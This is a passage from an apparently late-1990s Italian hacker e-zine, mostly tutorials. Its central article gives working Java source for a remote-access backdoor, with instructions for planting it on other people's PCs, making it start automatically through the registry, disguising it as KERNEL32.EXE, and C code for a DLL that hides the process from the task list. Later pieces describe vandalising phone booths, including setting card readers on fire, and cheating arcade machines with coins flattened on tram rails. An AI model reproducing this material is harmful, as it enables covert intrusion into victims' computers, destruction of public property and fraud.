Integer) Select Case Index On Error Resume Next Case 0 WebBrowser1.GoBack Case 1 WebBrowser1.GoForward Case 2 WebBrowser1.Refresh Case 3 WebBrowser1.Stop End Select End Sub <-----------> Private Sub WebBrowser1_StatusTextChange(ByVal Text As String) StatusBar1.SimpleText = Text End Sub -----------End------------------ Questo programmino lo potete anche usare come disk browser. Io quando sto con Winzozz lo uso al posto dell'Explorer (ihihih) Almeno sono sicuro che non e' buggato (ihihihih) 4. Registrare le OCX Allora raga, molte persone si sono lamentate nel fatto che nello scorso numero quel metodo per registrare il winsck.ocx non funzionava. Ebbene ho trovato un altro metodo per registrare le ocx (da testare ancora sul winsck.ocx) Se avete Visual Basic sul cd ci dovrebbe essere una cartella Tools. Li' ci dovrebbe essere l'utility regocx32.exe. Usatela in questo modo: --- copiate il file .ocx in windows/system --- spostatevi in windows/system --- digitate regocx32 /u filedaregistrare.ocx --- digitate regocx32 filedaregistrare.ocx Beh se non funzia nemmeno cosi' non vi resta che scaricarvi l'ActiveX 6 dal sito della Micro$oft o un altro sito 5. Come posso catturare lo schermo attraverso un'applicazione VB? Basta che nel prog inserisci il seguente codice: --------------------------INIZIO------------------------------------ DefInt A-Z Declare Sub ReleaseDC Lib "User" (ByVal hWnd, ByVal hDC) Declare Sub OpenClipBoard Lib "User" (ByVal hWnd) Declare Sub EmptyClipBoard Lib "User" () Declare Sub SetClipBoardData Lib "User" (ByVal CBFormat, ByVal _ hBitMap) Declare Sub CloseClipBoard Lib "User" () Declare Sub SelectObject Lib "GDI" (ByVal hDC, ByVal hObj) Declare Sub DeleteDC Lib "GDI" (ByVal hDC) Declare Sub BitBlt Lib "GDI" (ByVal DestDC, ByVal X, ByVal Y, ByVal _ BWidth, ByVal BHeight, ByVal SourceDC, ByVal X, ByVal Y, ByVal _ Constant&) Declare Function CreateDC Lib "GDI" (ByVal Driver$, ByVal Dev&, _ ByVal O&, ByVal Init&) Declare Function CreateCompatibleDC Lib "GDI" (ByVal hDC) Declare Function CreateCompatibleBitmap Lib "GDI" (ByVal hDC, _ ByVal BWidth, ByVal BHeight) Sub ScrnCap (Lt, Top, Rt, Bot) rWidth = Rt - Lt rHeight = Bot - Top SourceDC = CreateDC("DISPLAY", 0, 0, 0) DestDC = CreateCompatibleDC(SourceDC) BHandle = CreateCompatibleBitmap(SourceDC, rWidth, rHeight) SelectObject DestDC, BHandle BitBlt DestDC, 0, 0, rWidth, rHeight, SourceDC, Lt, Top, _ &HCC0020 Wnd = Screen.ActiveForm.hWnd OpenClipBoard Wnd EmptyClipBoard SetClipBoardData 2, BHandle CloseClipBoard DeleteDC DestDC ReleaseDC DHandle, SourceDC End Sub Sub Command1_Click () Form1.Visible = False ScrnCap 0, 0, 640, 480 Form1.Visible = True picture1 = clipboard.GetData() End Sub -----------------------------FINE--------------------------------------- Cioe' ogni qualvolta cliccherete sul pulsante Command1 vi catturera' lo schermo. Attenzione nell'ultima SUB abbiamo: ScrnCap 0, 0, 640, 480 Se avete una diversa risoluzione cambiate quel valore! 6. Fine Beh credo che per ora basti, se trovo altri trucchi li vedrete sicuramente sul prox numero. Ciao da T0rment0 T0rment0 urkes@hotmail.com ͻ Ŀ BACKDOORS FOR DUMMIES (e non vi offendete:)) ٺ ͼ Ok. Questo, come dice il titolo, sara' un piccolo tut che dovrebbe insegnare ad ogni newbies come scriversi il proprio BO o NetBus e ad essere meno lamer. Il tut l'ho pensato proprio al "nobile" scopo di de-lamer-izzarvi. DE-LAMER-IZZATEVI, non usate BO x poi vantarvi di essere dei grandi Hacker, anche mio cugino di 2 anni sarebbe capace di Hackerare un PC con quello :)) /--NOTA----------------------------------------------------------------------\ | prevedo entro domani mattina un minimo di 10 installazioni di BO sul mio PC| | che si combattono x chi mi deve formattare l'HD x primo :)) | ------------------------------------------------------------------------------ Proprio cosi', perche' in giro ci sono parecchi guys che vanno in giro vantandosi delle proprie imprese (realizzate col BO) e poi magari cercano di Hackerare uno UNIX con lo stesso metodo (perke' non sanno kosa c'e' dietro?) DITEMI SE NON E' LAmHZ QUESTO ?!?!? ):| VERGOGNA!!! /--NOTA----------------------------------------------------------------------\ | kosi' sono certo di essermeli messi tutti contro, e le installazzioni di BO| | sul mio PC arriveranno a quota 3000 :)))) | ------------------------------------------------------------------------------ Io non sono certo un Hacker (lo capirete presto:) , in quanto non ho mai hackerato un kzz, ma sono un cracker beginner (ho iniziato da circa 3 mesi:) e mi sono affacciato alla scena da pochissimo (affacciato ho detto), ma almeno posso essere sicuro di non essere un lamer. (prima di fare qualcosa devo sapere cosa c'e' dietro altrimenti non la faccio proprio, le cose "rrunzate" non mi piacciono) Dopo questa breve nota biografica (CORO : ke palle!!!) necessaria in quanto e' meglio buttarsi avanti x non trovarsi indietro, cominciamo con le cose serie : COS' E' IL BO (x veri newbies, non dite ke non vi avevo avvertito:) Allora, BO (come NetBus) e' un troiano, cioe' un programmino che sembra faccia qualcosa mentre in realta' ci sta inkulando a sangue in background. Va be, in pratica questo kz di programma una volta installato in un PC si mette in ascolto (fa da server) di certi comandi che gli si puo' mandare con un client apposito (suppongo anche con telnet, ma in realta' io non l'ho mai usato quindi posso solo immaginare :( , cmq e' il concetto che conta, no? :) Questi comandi spaziano dai "classici" download/upload di file allo spegnimen- to da remoto del Pc vittima o nel NetBus anche a comandi + "creativi" quali la apertura/chiusura del lettore CD e la possibilita' (secondo me imperdibile) di sentire il povero user vittima dei nostri scherzi che ci manda a fankulo mentre gli formattiamo l'HD. In pratica ci fa' fare da remoto tutto quello che potremmo fare in locale tranne accendere il Pc se spento :P Bene, questa e' quello che + o - penso possa essere la descrizione sintetica di cosa BO e NetBus siano in pratica. Ora vediamo come possiamo noi poveri NewBies fare' qualcosa che si avvicini al lavoro svolto dai coders di BO (Cult of Dead Cow). Potremmo cominciare col vederlo in Java x vari motivi : 1. le classi che Java ci mette a disposizioni ci renderanno le cose molto + facili; 2. la struttura ad oggetti facilitera' (penso) la comprensione da parte dei newbies; 3. il nostro lavoro sara' (suppongo:) multipiattaforma; e cosa ancora + importante : 4. io le mie prove le ho fatte in Java quindi sara' in Java che ve lo spieghero' :)))))) Ma prima di passare alla pratica si deve passare obbligatoriamente dalla teoria ;) I SOCKET IN JAVA Questo in effetti voleva essere piu' che altro un intro su come usare Socket e TCP in Java, ma considerato che so quanto noi newbies siamo "lazy" (e il passaggio da lazy a lamer a volte e' breve :) ho deciso di allettarvi con qualcosa di meno nobile ma concreto (il BO appunto). Ma prima di tutto vi tokkera' sukarvi il mio korso di Socket in Java (hihihi:) ( sono un sadiko vero ? :) Quindi fate come me : accendetevi una sigaretta (o equivalente in verde) :Q e cominciate a leggere (ke io komincio a skrivere) Come prima cosa dovrei forse illustrare cosa sia un socket, ma non penso di essere un pozzo di scienza sull'argomento quindi lo spieghero' in modo sintetico lasciando a voi ulteriori approfondimenti (in altre parole : SKARIKO_IL_BARILE) Un Socket non e' altro se non un flusso di dati (anzi 2 flussi di verso opposto:) tra due Pc collegati in rete (ma anche fra 2 applicazioni in locale se volete). I Socket utilizzati da Java sono in stile Unix e permettono di utilizzare le normali classi di IO usate su file e simili sui socket da noi aperti. Quindi una volta aperto un socket lo possiamo utilizzare come un normale flusso (Stream, cosi' introduciamo gia' i termini) di dati che sara' pero' direzionato verso un altro calcolatore in rete. Prima che vi fossiliziate sulle classi di Java e non siate piu' in grado di uscirne voglio far notare che mentre Java fornisce due tipi di Socket principali Socket e ServerSocket, in Unix e nelle WinSock di Windoze non esiste nessun ServerSocket ?!?!?! allora voi penserete : "Posso scrivere solo client ?" ma la risposta sara' : "NO :)" In effetti i ServerSocket di Java altro non sono se non Socket in stato di listen (cioe' ascolto) che aspettano qualcuno che ci si metta in contatto. ( x una descrizione + completa dei Socket in Unix o WinSock aspettate un prossimo tut o se andate di fretta documentatevi, HOW-TO e pagine man di Linux sono zeppi di info, molte di + del necessario:) E ora le Classi (non elenchero' tutti i metodi ma solo quelli che useremo, I'm lazy too :P ) ---java.net.Socket------------------------------------------------------------ | Descrizione | questa classe implementa i client sockets. | |--------------|-------------------------------------------------------------| | Costruttori | Socket() - crea un Socket non connesso, del tipo di default | | | nel sistema. | | |-------------------------------------------------------------| | | Socket(InetAddress address, - crea un Socket e lo connette | | | int port) all'indirizzo "address" sulla | | | porta "port" (naturalmente:) | | |-------------------------------------------------------------| | | Socket(String host, - crea un Socket e lo connette all' in- | | | int port) dirizzo "host" sulla porta "port" | |--------------|-------------------------------------------------------------| | Metodi | void close() - chiude questo socket ( ma che bravo !!!:)) | | |-------------------------------------------------------------| | | InputStream getInputStream() - ritorna un InputStream per | | | questo socket. | | |-------------------------------------------------------------| | | OutputStream getOutputStream() - ritorna un OutputStream per| | | questo socket | |--------------|-------------------------------------------------------------| ---java.net.ServerSocket------------------------------------------------------ | Descrizione | questa classe implementa i server sockets, che attende una | | | richiesta e una volta arrivata crea un Socket verso di essa.| |--------------|-------------------------------------------------------------| | Costruttori | ServerSocket(int port) - crea' un socket in stato di listen | | | sulla porta "port". | | |-------------------------------------------------------------| | | Socket(int port - crea un Socket in attesa sulla porta | | | int backlog) "port" che accetti un massimo di | | | "backlog" di connessioni nella coda. | |--------------|-------------------------------------------------------------| | Metodi | Socket accept() - rimane in listen x una connessione e la | | | accetta. | | |-------------------------------------------------------------| | | void close() - chiude questo socket. | |--------------|-------------------------------------------------------------| Ritengo che per quanto riguarda i socket queste dovrebbero bastarci x ora. Invece x quanto riguarda i Flussi di Input/Output ci sono un bel po di classi, e si trovano in "java.io" : --Input----------------- | InputStream | | InputStreamReader | | BufferedInputStream | | BufferedReader | | PipedInputStream | | PipedReader | |----------------------| |-Output---------------| | OutputStream | | OutputStreamWriter | | BufferedOutputStream | | BufferedWriter | | PipedOutputStream | | PipedWriter | ------------------------ queste sono alcune, scegliete la vostra preferita', se non ve ne piace nessuna realizzatene una nuova, insomma a voi la scelta. IL MODELLO CLIENT-SERVER Il modello client-server e' molto intuitivo, in quanto si basa su un client che fa delle domande ad un server che gli risponde : lineare, no ? domanda /--------\ ---------> /--------\ | client | | server | \--------/ <--------- \--------/ risposta Il Server si trovera' magari nella situazione di dover svolgere svariati compiti o di dover rispondere a domande di diverso "tipo". Il tutto si risolve con le porte, che non hanno niente a che fare con le porte fisiche che si trovano dietro ad un Pc ma sono una struttura software, punti di accesso ai servizi offerti dal software di rete. In pratica : /-------------\ | SERVER | \-/----|----\-/ / | \ / | \ /-----\ /------\ /------\ | FTP | | HTTP | | SMTP | etc. etc. |-----| |------| |------| /|\ | /|\ | /|\ | | | | | | | | \|/ | \|/ | \|/ /------\ /------\ /------\ |client| |client| |client| etc. etc. | FTP | | HTTP | | SMTP | \------/ \------/ \------/ Quello che ancora non abbiamo messo in risalto e' che il confine fra Server e Client non e' cosi netto come puo' sembrare... Ogni Client puo' fare da Server ed ogni Server puo' essere il Client di qualcun altro (alla faccia della chiarezza:) Bene, questo dovrebbe aver chiarito le idee a chi le aveva confuse, e confuse a chi le aveva chiare (hahahah :)))) A questo punto mi sento veramente esaurito ed esco a farmi un JoinT :Q ~~~~ Bene eccomi di ritorno - lucido di prima, ma soprattutto - convinto che di quanto sto scrivendo gliene freghi niente a qualcuno :( AND NOW SOME KODE (solo un poko pero':) Ora potreste cominciare col fare pratica nello scrivere Client di tutti i tipi tutto quello che vi serve si trova in rete (tutto tranne la vostra testa), di utilissimo supporto sono soprattutto gli RFC cioe' dei documenti ufficiali che illustrano le specifiche dei protocolli di rete (cioe' l'insieme di regole di funzionamento). Ma x quanto ci riguarda gli RFC non hanno una particolare importanza x il nostro scopo in quanto una volta chiaro che il server deve ascoltare e rispondere ed il client chiedere non abbiamo bisogno di altro e il protocollo (parola grossa nel nostro caso) lo stabiliremo noi :) ---Mettere un ServerSocket in listen su una porta----------------------------- ed accettare una connessione. import java.net.*; // x i Socket import java.io.*; // x le Exception ... try { ServerSocket srvSock = new ServerSocket(1234); // crea un ServerSocket // che si mettera in // ascolto sulla port 1234 ... Socket clientConnection = srvSock().accept(); // entra in listen e // accetta una connessione // poi ritornandola. } catch(IOException e) { System.out.println("Aiuto! Aiuto! Errore HAAAAARGGG!!!"); // OPZIONALE :) System.out.println("IOException : "+e.getMessage(); } ... ------------------------------------------------------------------------------ ---Aprire un Socket verso un determinato Host e Port.------------------------- import java.net.*; // x i Socket import java.io.*; // x le Exception e gli Stream ... try { // apre un Socket verso all'indirizzo "127.0.0.1" sulla porta 1234 // P.S. non fate kazzate e' il vostro IP :P Socket cltSock = new Socket("127.0.0.1", 1234); OutputStream out = cltSock.getOutputStream(); // con questo potete // scrivere. InputStream in = cltSock.getInputStream(); // con questo potete // leggere. ... out.write("Stronzo".getBytes()); // scriviamo verso il server. // esprimendogli tutta la nostra // gratitudine :))))))))) ... Byte[] risposta=new Bytes[1024]; // speriamo bastino :P while(in.available<=0) {} // attendiamo risposta. in.read(risposta); // leggiamo. ... } catch(IOException e) { System.out.println("Aiuto! Aiuto! Errore HAAAAARGGG!!!"); // OPZIONALE :) System.out.println("IOException : "+e.getMessage(); } ... ------------------------------------------------------------------------------ Funziona + o - cosi'. Quindi ora che "SAPPIAMO" (forse) come far funzionare i Socket, per prima cosa stabiliamo il funzionamento del nostro server e poi di conseguenza quello del nostro client : STABILIAMO IL PROTOCOLLO. STABILIRE UN PROTOCOLLO Stabilire un protocollo a volte puo' essere + facile di quanto la parola stessa suggerisca, si tratta solo di immaginare quali siano i comandi che possano essere lanciati, come fare a distinguerli dai parametri, a volte necessari, e se necessario a come sincronizzare server e client. Il nostro protocollo in questo caso saranno solo 2 o 3 comandi che scegliero' al volo in questo momento... poi voi siete liberi di variare e soprattutto di utilizzare le vostre conoscenze x fare di meglio. Immaginiamo che al momento della connessione col server, questo aspetti da parte nostra l'invio di un particolare comando di riconoscimento. Ad esempio : comando di riconoscimento | \|/ /------\ #LOGIN#password /------\ |CLIENT|--------------------->|SERVER| \------/ \------/ Il server accettera' la connessione e leggera dall'InputStream. Quello che leggera' sara' la prima stringa da noi inserita... Il server dovra' percio' prima verificare che la sintassi del comando sia giusta (#LOGIN#) poi se riconosce un comando valido interpreta quanto segue come parametri (se necessari), nel nostro caso ci sara' la password. A questo punto mi sembra logico che il server dovra' verificare la validita' di tale password e in caso negativo debba chiudere la connessione. In caso positivo invece rimarra' in attesa di altri comandi (ke server passivo:). Arrivati a questo punto penso che il mio compito nella spiegazione del protocollo si possa fermare... i comandi gli sceglierete VOI in funzione di cosa VOI vogliate che il server FACCIA :) UTILIZZATE LA FANTASIA (una volta che avete la possibilita' di mettere una backdoor il vostro solo limite e' quella:)))) Io che sono + "lazy" di voi e non mi sta andando di fare un kzz(sono tornato ora a casa, ho lavorato tutto il giorno e voglio uscire) ne implementero' solo uno giusto come esempio. A voi il resto (oltretutto se faccio tutto io voi ke kzz fate ?) Il mio comando sara': (rullino i tamburi.....[ah, fumano anche loro?hihihi] ) #DIALOG#hey, faccia di kazzo ke kosa fai? non tokkare la tastiera ke ti fulmino l'harddisk ):| che stampera' sullo schermo del povero sventurato (probabilmente voi stessi nelle vostre prove) una DIALOG intimidatoria e niente di +, ma come ho detto questo e' solo un esempio e potete fare di meglio. Ammazza ke fantasia direte voi... ma ve lo avevo gia' detto ke non mi sta kollando un kzz, quindi akkontentatevi :) REALIZZAZIONE PRATICA (ERA ORA !!!) A questo punto cominciamo con la stesura del codice del server, ke mi appresto ora a skrivere sperando che non superi le 40 linee :) Il Flow del programma dovrebbe essere all'incirca questo : /-----------------------\ |Inizializzazione Server| \-----------------------/ | | | /-----------------------\ | attende una richiesta | | sulla porta | \-----------------------/ | | /------------------------\ | accetta la connessione | | e | | apri un socket verso | | il client | \------------------------/ | /------------------------\ | crea gli stream di | | input e output per la | | comunicazione con il | | client | \------------------------/ |<-------------------|----------| /------------------------\ | | | leggi una stringa dallo| | | | stream di input | | | \------------------------/ | | | | | /\ | | / \ | | / e' \ NO | | / un \ | | /comando?\___________/--------\ | \ / | ERRORE | | \ / \--------/ | \ / | \ / | \/ | | SI | /-------------------------\ | | interpreta i parametri | | \-------------------------/ | | | /-------------------------\ | | agisci a seconda del |-----------------| | comando e dei parametri | \-------------------------/ Be', non e' proprio lo stato dell'arte ma dovrebbe ugualmente rendere l'idea. Il tutto tradotto in Java sara' (non prendetelo come esempio di programmazione e' scritto con una incredibile skogliona addosso:))) : ------JBackDoor.java---------------------------------------------------------- import java.awt.*; // import x le classi Frame, Label etc. import java.net.*; // ====== = == ====== Socket e ServerSocket. import java.io.*; // ====== = == ====== BufferedReader, // OutputStreamWriter, ed IOException. public class jBackDoor { public final int STANDARD_PORT = 1234; // porta su cui accettare // connessioni. // SINTASSI COMANDI ( solo 2 :( ) public final String LOGIN = "#LOGIN#"; // sintassi comando di login. public final String DIALOG = "#DIALOG#"; // ======== ======= x far // apparire una Frame sul // Desktop della vittima. // STRINGHE DI RISPOSTA AD ERRORI public final String NOTVALID = "Non e' un comando valido!!!\n\r"; public final String ALREADYLOGGED = "SEI GIA' LOGGATO, KE KZ VUOI ANKORA!\n\r"; // MESSAGGIO DI ENTRATA public final String INTRO = "Java BackDoor Example v.1.0 coded by (R)ipLey\n\r"+ "For ]N[ewBieS e-zine. (c)opyLeft 1999\n\r"; private boolean logged = false; // true=logged, false=not logged :) private String password = "newbies"; // LA NOSTRA PASSWORD :)))) private ServerSocket listenSock; // Inizializza il ServerSocket public jBackDoor() throws IOException{ listenSock = new ServerSocket(STANDARD_PORT); } // Ciclo di vita della BackDoor : public void start() throws IOException{ while(true) { Socket clientSock = listenSock.accept(); // accetta una connessione workOn(clientSock); // ci lavora... clientSock.close(); // una volta finito la chiude. } } // Interazione Tra client e Server public void workOn(Socket aSock) { BufferedReader in; OutputStreamWriter out; try { in = new BufferedReader(new InputStreamReader(aSock.getInputStream())); out = new OutputStreamWriter(aSock.getOutputStream()); while(true) { String inputData = in.readLine(); // Legge una Stringa if(inputData!=null && inputData.compareTo("")!=0) { int result=ElaborateInput(inputData); // Elabora l'input switch (result) { // COMANDO NON VALIDO case 1 : out.write(NOTVALID, 0, NOTVALID.length()); out.flush(); break; // GIA' LOGGATO case 2 : out.write(ALREADYLOGGED, 0, ALREADYLOGGED.length()); out.flush(); break; // STAMPA INTRO case 3 : out.write(INTRO, 0, INTRO.length()); out.flush(); break; } } else if(inputData==null) { // connessione caduta. logged=false; // de-logga in.close(); // chiude gli stream out.close(); // ----------------- break; // esce dal giro. } } } catch(IOException e) { System.out.println(e.getMessage()); System.exit(1); } } // Elabora una stringa di input public int ElaborateInput(String inputData) { String parametri; if(inputData.startsWith(LOGIN)) { // E' IL COMANDO LOGIN? if(logged) return 2; // SE GIA' LOGGATO non fare niente parametri = inputData.substring(LOGIN.length()); // estrai parametri // verifica la validita' della password (in caso positivo ritorna 3) if(logged=parametri.startsWith(password)) return 3; } else if(inputData.startsWith(DIALOG)) { // E' IL COMANDO DIALOG? // SE precedentemente LOGGATO eegue il comando. if(logged) OpenDialog(inputData.substring(DIALOG.length())); else return 1; // COMANDO NON VALIDO FINO A LOGIN // AVVENUTO. } else return 1; // COMANDO NON VALIDO return 0; // NON FARE NIENTE } // Crea e Visualizza una finestra con il testo da noi selto... // Non e' il massimo come fantasia... :D public void OpenDialog(String testo) { Frame myFrame = new Frame("DA UN FAN SCONOSCIUTO"); myFrame.setLayout(new FlowLayout()); myFrame.add(new Label(testo, Label.CENTER)); myFrame.setSize(myFrame.getMaximumSize()); myFrame.show(); } /********* MAIN *********/ public static void main(String argv[]) { try { jBackDoor myBackDoor = new jBackDoor(); myBackDoor.start(); } catch(IOException e) { System.out.println("Exception :"+e.getMessage()); System.exit(1); } } } ------------------------------------------------------------------------------ Bene me la sono cavata con un centinaio di righe di codice e una sola classe, mi e' andata bene... Ma cosi' com'e' il programma ha una grossa limitazione (ke non sono i poki komandi presenti) : si puo' fare una sola connessione per volta :( Cmq si possono apportare migliorie + o - in tutte le parti del programma, ma ho preferito lasciarlo semplice e lineare xche' sia di + facile comprensione, spero' di non aver sbagliato :( Innazitutto potreste estrapolare il cuore del programma ( quello che interagisce con il client ) e inserirlo in un'altra classe che erediti da Thread kosi' da rendere la BackDoor in grado di gestire + client contemporaneamente ( a voi il kompito :), e inserire qualke altro komando (modifica della passwd, download e upload di file, esecuzione di comandi dal prompt etc. etc.), DIVERTITEVI :))))))) POZIONE PER L'INVISIBILITA' Adesso che avete la vostra cara BackDoor personalizzata vorrete sicuramente provarla sul Pc di qualke amico ( o nemico :)) ... Come farla avviare automaticamente e nasconderla da occhi indiscreti ? Innanzitutto mettere la classe (o le classi) della BackDoor nel classes.zip cosi' che l'interprete le trovi senza dover specificare alcun PATH... poi inserire la riga di comando x l'avvio del programma nel registro di configurazione, nella chiave : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Se lo volete un po' + invisibile potreste spostare il javaw.exe o il jview.exe nella directory "C:\WINDOWS\" e rinominarlo in qualkosa tipo KERNEL32.EXE :)) In questo modo sara' avviato automaticamente ad ogni avvio di windows ma non sara' invisibile alla TaskList. Come fare ? C'e' una chiamata al kernel semi-documentata chiamata "RegisterServiceProcess" ( 10x to GuyBrush :) che permette di registrare un processo come Servizio di Sistema e cio' lo rende invisibile alla TaskList. Ora possiamo modificando un poko il programma x renderlo completamente invisibile :), come ? Semplice, scrivendo una DLL e caricarla semplicemente in memoria, questa avendo nell'entry point il codice necessario a rendere invisibile il processo corrente ci rendera' invisibili al solo caricamento :))))))) senza dover fare nient'altro GRAZIE BILL!!!!! UNA DLL X L'INVISIBILITA' Munitevi di un Compilatore che vi permetta di compilare DLL e create la vostra personale pozione per l'invisibilita'. Io la mia l'ho scritta con il Visual C++ 5.0 (10x to netzus6 x l'aiuto). Dichiarate una funzione come entrypoint della DLL la mia l'ho chiamata DllEntry (sono un originale:). In questa funzione dovrete : - caricare la libreria "kernel32.dll" con la funzione LoadLibrary (altrimenti niente RegisterServiceProcess); - crearsi un puntatore alla funzione con la funzione GetProcAddress; - poi : 1. in caso di caricamento della DLL chiamare la RegisterServiceProcess perche' ti renda invisibile; 2. in caso di scaricamento ti renda nuovamente visibile; Per saperne di + controllare la documentazione, cmq allego il mio esempio che potrebbe essere di aiuto ai + inesperti : #include #define RSP_SIMPLE_SERVICE 1 #define RSP_UNREGISTER_SERVICE 0 typedef DWORD (WINAPI *RSPType)(DWORD, DWORD); BOOL WINAPI DllEntry( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { HINSTANCE hiKernel32; RSPType RSPFunction; hiKernel32 = LoadLibrary("Kernel32.dll"); if(hiKernel32==NULL) return FALSE; RSPFunction=(RSPType)GetProcAddress(hiKernel32, "RegisterServiceProcess"); if(hiKernel32==NULL) return FALSE; switch(fdwReason) { case DLL_PROCESS_ATTACH : (RSPFunction)((DWORD)NULL, RSP_SIMPLE_SERVICE); break; case DLL_PROCESS_DETACH : (RSPFunction)((DWORD)NULL, RSP_UNREGISTER_SERVICE); break; } FreeLibrary(hiKernel32); return TRUE; } Ricordatevi, se usate VC++5.0, di modificare i Setting/Link aggiungendo l'opzione "/entry:nomeFunzioneDiEntryPoint" che specifica il nome della nostra funzione. Nel programma java dovrete invece aggiungere all'interno della classe la seguente dichiarazione : static { try { System.loadLibrary("IDLL"); } catch(UnsatisfiedLinkError e) { System.out.println("Exception :"+e.getMessage()); System.exit(1); } } che verra' eseguita appena viene caricato il .class e provvedera' a caricare la DLL. THE END ? Penso che x adesso basti... Una base ce l'avete ora approfondite e migliorate :))))))))) RINGRAZIAMENTI : Tanx to : netzus6 "l'alchimista" - per l'aiuto nella realizzazione della pozione dell'invisibilita'. GuyBrush "Il pirata buono"- per avermi segnalato la funzione RegisterServiceProcess e per aver scritto un crackme che lui continua a dire che e' facile e io continuo a non riuscire a crakkarlo (non ci avro' messo abbastanza intenzione:) Kill3xx "Gandhi" - Lui sa xche' :))) Insanity "Billy the Kid" - Colui che ha il saluto + veloce del west (cosi' dicono:) xche' non mi ha ancora mandato a f.....o Lui sa xche' :))))) Furb3t "Burl3t" - xche' mi (ci) ha preso x c..o con la sua HomePage, Lei sa xche' :))))))) buendia "Il Laureato" - x i Docs sui Socket. Auguroni per ... (Lui sa xche':))))))))) a tutto Ring0 xche' sono tutti GRANDI :D e a tutti gli amici di #crack-it ed infine a N0Body88 - xche' (spero) accettera' il mio articolo :) Tanx for il supporto musicale : Bob Marley, The Cure, The Police, CCCP, CSI, Primus, Punkreas etc. etc. Fuck to : Offspring x essere diventati + commerciali di Laura Pausini. $$$$$ $$ $ $$$ $ $$ $$$ $ $ $ $ $$ $$$$ $$ $ $ $ $$ $ $$ $ $$ $$ $ $$ $$$$$ $ $$ $ $ $ $ $$ $$ $ $$ $ $ $$ $$$$$ $$ $$$$ $$$$$ $$$$ $$ $$ $$ $$ $$ Spedite ringraziamenti, elogi, critiche costruttive a Cannabis_Oil@hotmail.com Per critiche non-costruttive, insulti, flames e bu......e varie a DevNull@Hole.ass ipLey NOTA DI N0bodY88 = incredibile... prima di mandano un capolavoro di articolo e poi si domandano se lo accettermo!!! che tempi!!!!!!!!!! Cmq sono d'accordo con ipLey x quanto riguarda gli Offspring, io continuo a sentirmi i Lag Wagon e vado avanti x la mia strada... ͻ Ŀ PROGRAMMAZIONE DI DEMO X NINTENDO 64 ٺ ͼ Bhe ciao a tutti oggi voglio parlarvi di programmazione [ohhh che novita' ] [buhh buhh] di demo [buhh buhh] per nintendo 64 [ohhhhhhh]. Bhe allora io ho iniziato da pochissimo circa 4 giorni , visto che son molto patito di emulazione e che mi interesso di ste cose ] . Bhe cominciamo: Cosa bisogna avere?????????? 1: c++ [almeno io ho usato quello] 2: n64 denvelpment kit [14mb] 3: 3ds4 [x le meshes] 4: tanta voglia ed un cazzo da fare [per fortuna in sti giorni ne ho in abbondanza : matura suck] Ringrazio le seguenti persone che mi han aiutato: NaN, Kid, Nil, Maxx, Nop, CyboD, Stage, Rude Boy, Stumble.... Allora accludo file 3ds (lo trovate nei prog acclusi sotto il nome di "file3ds.zerocool" o nello zip principale o in quello degli allegati). Esiste poi il prog n643dsl che userete per linkare questo file alla vostra presentazione. Bhe okki poi con un caro n64bmi ci applicherete uno sfondo [supporta bmp , gif , tif , pcx] e via dicendo . Sto lavorando [ o meglio la ho finita ] a una demo x n64 che non accluderemo' pero' alla rivista [primo perche' non inerentissima alla tematica , secondo perche' di 4mb].......Chi vivra' vedra' ZeroCool Provoces the best you will die like a slave ۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۲۰۰۰۰۰۰ ۲۰۰۰۰۲۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ ͻ Ŀ COME RENDERE INUTILIZZABILE UNA CABINA TELEFONICA ٺ ͼ Arrivano i vandali!!! Autore: Fusyllo Consumo: 1 lattina di CocaCola e un cabina Telecom Musica ascoltata: quella che volete Dedicato: a tutti quelli che sono incazzati con la Telecoz Questa volta vi spieghero' come rendere inutilizzabile la cabina telefonica della cara mammina Telecom. 1. Potete infilare qualcosa (piu' grande delle monetine!) nel buco accanto al display dove si mettono le monetine in modo che le monetine non entrino piu'. 2. Infilate un scheda piegata in due nel "mangiaschede". 3. Privare della cosa piu' importante il telefono: la cornetta. Con una tronchese tagliate il filo o tiratela e giratela finch non si stacca. Potete anche togliere il coperchio che copre il microfono con un cacciavite prendere il microfono e richiudete. 4. In alcune cabine telefoniche sotto il telefono c'e' una cabina elettrica, se riuscite ad aprirla vi siete fatti un salvavita. 5. Prendete una siringa e riempitela di alcol (basta che sia infiammabile), trovate una cabina infilate l'ago (della siringa :-)) nel lettore delle schede e cercate di spruzzare un po tutto il lettore. Ora prendete un accendino e accendete il liquido, le cinghiette per muovere la scheda e le testine si bruceranno e il lettore inutilizzabile. 6. Con un cacciavite rompete il display. In questo modo non si potr vedere ne l'importo ne il numero di telefono che si sta' chiamando. 7. Rompete i vetri. 8. Un po di fantasia :-D Credo che ora la cabina sia inutilizzabile. Fusyllo@usa.net Fusyllo ͻ Ŀ COME HACKERARE UN COIN-OP ٺ ͼ Eccomi qui! Sto per rivelarvi qualcosa che mi e' capitato di constatare personalmente l'estate scorsa ovvero: COME HACKERARE UN COIN-OP: o meglio COME GOCARE AI COIN-OP GRATIS: E' una cosa semplicissima....dovete semplicemente trovare una sala giochi che usi ancora le 500 o un bar con un coin-op che vi interessa......... Cambiate 5.000 tutti in pezzi da 50 e andate possibilmente in una zona della vostra citta' dove passano poche macchine e molti tram............ e adesso viene il bello:andate vicino ad una rotaia e mettete i pezzi da 50 tutti in fila a distanza di 3 cm l'una dall'altra. Allontanatevi un po per non destare sospetti dato che tutto questo provocher un po di rumore,aspettate che passi il tram e che schiacci le monete....... dopo di che andate SUBITO a raccoglierle per evitare che il drogaz di turno le accatti prima di voi, e in questo modo otterrete delle monete da 50 modifi cate in modo da essere larghe quasi come le 500 (dato che il coin-op riconosce solo la larghezza e non il peso non ne notera' la differenza). N.B.:Ovviamente non tutte le 50 verranno accettate dalla macchinetta poiche e' matematicamente impossibile che il tram le schiacci tutte in modo uguale percio' non venite a lamentarvi se sciupate qualche moneta... AVVERTENZE o CONSIGLI:Non mettere mai piu' di una decina di 50 in una sola volta ma se proprio avete fretta mettetene dieci su una rotaia e dieci su un'altra. Non fatevi mai pizzicare dal cocchiere o almeno fate finta di niente dato che se venite sgamati il cocco scendera' dal tram e verra' a farvi brutto e in questo modo si rallentera' tutto il traffico e incorrerete anche nell'ira degli automobilisti nonche' potrebbero sorgere complicazioni a livello sociale.... ATTENZIONE (ihihi) IL TRAM POTREBBE ANCHE DERAGLIARE (whishhh) Chiudo qui chiedendovi di non venire a lamentarvi da me se qualcosa non funziona o se vi beccano e vi 